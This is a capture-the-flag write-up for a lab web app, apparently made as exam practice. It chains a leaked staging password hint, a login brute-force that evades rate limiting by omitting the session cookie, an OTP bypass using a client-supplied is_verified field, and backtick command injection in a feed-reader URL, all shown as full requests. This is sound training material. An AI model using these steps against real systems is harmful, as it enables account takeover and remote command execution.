☼
⌃
☰

Interceptor CTF

Table of Contents

Description

MediaHub appears to be a normal internal portal used by journalists to manage content. Everything seems protected behind a login and verification system, but the real story lies in how the application communicates with its backend APIs.

Related: Broken Object Level Authorisation Command Injection

CTF

Enumeration

Port scan

SHELL
nmap -sV -sC --open -T4 $IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: MediaHub
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set

Note: PHPSESSID lacks the httponly flag — flagged here as a secondary finding even though not the exploited path in this room (cookie theft via XSS would be viable if a suitable injection point existed; none found so far).

Directory search

Global redirect to home page required filtering on response size/word count to surface real content.

SHELL
ffuf -u http://$IP/FUZZ -r \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  -e .php,.bk,.tar,.zip,.txt,.bak \
  -fs 1491 -fw 95 -fc 403
login.php.bak           [Status: 200, Size: 2038]
login.php               [Status: 200, Size: 2874]
search.php              [Status: 200, Size: 2874]
config.php              [Status: 200, Size: 0]
footer.php               [Status: 200, Size: 85]
header.php              [Status: 200, Size: 1231]
style.css               [Status: 200, Size: 1625]
dashboard.php           [Status: 200, Size: 2874]

login.php.bak discloses a developer comment left in source:

PHP
/*
| Admin test account for staging environment
| Email: admin@mediahub.thm
|
| Password policy reminder:
| Admin password follows company format:
| MediaHub + any year
|
| TODO: remove before production deployment
*/

Partial credentials recovered: admin@mediahub.thm / MediaHub<year>

Foothold

Rate-limit bypass on login endpoint

/api_login.php rate-limits failed attempts when the PHPSESSID cookie is present, but applies no limit at all when the cookie is omitted from the request. This makes the endpoint fully brute-forceable despite the apparent rate limiting.

Password brute-force via Burp Intruder

With the year-format hint from login.php.bak, ran Intruder against /api_login.php (no cookie, to avoid the rate limit) using a 2000-2030 numeric payload appended to MediaHub.

TEXT
POST /api_login.php HTTP/1.1
Host: interceptor.thm
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaUwPTxxetUEMH6UM

------WebKitFormBoundaryaUwPTxxetUEMH6UM
Content-Disposition: form-data; name="email"

admin@mediahub.thm
------WebKitFormBoundaryaUwPTxxetUEMH6UM
Content-Disposition: form-data; name="password"

MediaHub§year§
------WebKitFormBoundaryaUwPTxxetUEMH6UM--

Valid credentials recovered: admin@mediahub.thm / MediaHub2026

OTP verification bypass — client-asserted verification state

Login succeeds but redirects to an OTP step (/verify_otp.php). Submitting an arbitrary/incorrect OTP is rejected as expected:

TEXT
POST /verify_otp.php HTTP/1.1
Cookie: PHPSESSID=89pg5sjlg07nss563t0b1t4k4a

------WebKitFormBoundary6BEdDkHxo24JGwmg
Content-Disposition: form-data; name="otp"

132458
------WebKitFormBoundary6BEdDkHxo24JGwmg--
TEXT
HTTP/1.1 200 OK
{"ok":false,"error":"Invalid OTP. Try again.","is_verified":false}

However, the endpoint accepts a client-supplied is_verified field directly rather than deriving verification state server-side. Sending is_verified=true in place of an OTP value bypasses the check entirely:

TEXT
POST /verify_otp.php HTTP/1.1
Cookie: PHPSESSID=89pg5sjlg07nss563t0b1t4k4a

------WebKitFormBoundary6BEdDkHxo24JGwmg
Content-Disposition: form-data; name="is_verified"

true
------WebKitFormBoundary6BEdDkHxo24JGwmg--

This redirects to the admin dashboard, which contains the first flag.

Classification: the server trusts a client-supplied field to determine its own authentication/verification state rather than validating server-side. This is a Mass Assignment-style flaw functioning as an Insecure Authentication Mechanism / MFA bypass, not a generic "logic flaw" — worth being precise on this for exam reporting given the classification emphasis this retake.

Privilege Escalation

Command injection via RSS feed reader — client-side filter bypass

The admin dashboard includes a "feed reader" feature accepting a URL, which the backend fetches via curl server-side. The frontend JS applies sanitisation before the request is sent:

JAVASCRIPT
// client-side sanitization only
const url1 = (feedUrl.value || "").trim();
const url  = url1.replace(/[;&|]/g, '');     // strips ; & |
...
const fd = new FormData();
fd.append("url", url);
const res = await fetch("import_feed_api.php", { method: "POST", body: fd });

// response includes raw command output, rendered directly
const out = data.cmd_output || "";
feedResults.innerHTML = `<div ...>${escapeHtml(out)}</div>`;

This filter runs entirely in the browser and is never enforced by import_feed_api.php itself. Sending the request directly (via curl, bypassing the page/JS entirely) means the ;, &, | blacklist never applies. The endpoint is also injectable via backticks, which the filter doesn't cover even on the client side.

SHELL
curl -s -b cookies.txt -X POST http://interceptor.thm/import_feed_api.php \
  --data-urlencode 'url=http://example.com `id`'
curl: (6) Could not resolve host: uid=33(www-data)
curl: (6) Could not resolve host: gid=33(www-data)
curl: (6) Could not resolve host: groups=33(www-data),1002(findgroup),1003(websql)

Command output is leaking back via curl's own error messages (Could not resolve host), since the injected command's stdout gets concatenated into what curl treats as the hostname.

SHELL
curl -s -b cookies.txt -X POST http://interceptor.thm/import_feed_api.php \
  --data-urlencode 'url=http://x `cat /var/www/user.txt`'
curl: (6) Could not resolve host: x
curl: (6) Could not resolve host: THMSYSTEM_PWNED_SUCCESSFULLY

Note: server-side does strip/eat \{ and \} from the output even though it doesn't filter the injection itself — this truncated the flag's braces in the direct response. Worked around by instead writing the file contents to the publicly accessible uploads directory and retrieving it via a normal HTTP request, rather than relying on the command's output being echoed back intact.

Flag (/var/www/user.txt): THM{SYSTEM_PWNED_SUCCESSFULLY}

Classification: Command Injection. Root cause is specifically that validation was implemented client-side only — the server performs no independent validation of its own. This is a distinct and important point for exam reporting: client-side controls are not security controls, since anything enforced only in JavaScript is trivially bypassed by talking to the API directly.

Flags

Flag Value Status
Admin access (OTP bypass) THM{ADMINACCESSUSINGBURP} DONE
/var/www/user.txt THM{SYSTEMPWNEDSUCCESSFULLY} DONE

Notes

Four chained flaws, all API-request-manipulation based rather than classic injection into a form field — consistent with the room's "intercept and modify requests" framing:

  1. Rate limiting bypassed by omitting session cookie
  2. Staging credential hint in disclosed backup source file
  3. MFA/OTP bypass via client-supplied verification flag
  4. Command injection via feed reader — client-side-only filter bypassed entirely by bypassing the browser

Strong practice room for the API testing gap flagged after the first PT1 attempt — every finding is Burp-manipulation/direct-API-request driven rather than payload-into-a-form-field driven, which is exactly the exam weak spot. The client-side-filter-bypass pattern in finding 4 is worth remembering as a first move on any filtered input: check whether the filter is even server-enforced before trying to out-clever the filter itself.